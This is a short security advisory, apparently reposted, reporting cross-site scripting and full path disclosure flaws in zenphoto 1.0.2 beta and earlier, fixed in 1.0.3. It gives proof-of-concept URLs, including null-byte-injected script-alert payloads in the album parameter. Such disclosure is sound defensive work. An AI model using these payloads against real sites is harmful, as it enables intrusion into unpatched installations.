zenphoto 1.0.2 and prior suffer from cross site scripting as well as full path disclosure vulnerabilities.
1a13ed964e81314b18941f701a1e7207fe1ee0a89d8b08136948303f89314987
Vendor: zenphoto
Vulnerable: zenphoto 1.0.2 beta and below
The vendor has been warned and the vulnerabilities have been addressed in 1.0.3 beta.
Path Disclosure
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http://www.example.com/photos/zen/i.php?a=EXISTING_ALBUM_NAME&i=EXISTING_IMAGE_NAME&s=thumb%00
which returns:
Warning: imagecreatetruecolor() [function.imagecreatetruecolor]: Invalid image dimensions in /path/photos/zen/i.php on line 85...
Cross Site Scripting
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http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAME%00%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAMEℑ=EXISTING_IMAGE_NAME%00%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3Eaaaa
Solution
--------
Update to 1.0.3 beta
Original advisory
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http://zone14.free.fr/advisories/4/
--Raphael HUCK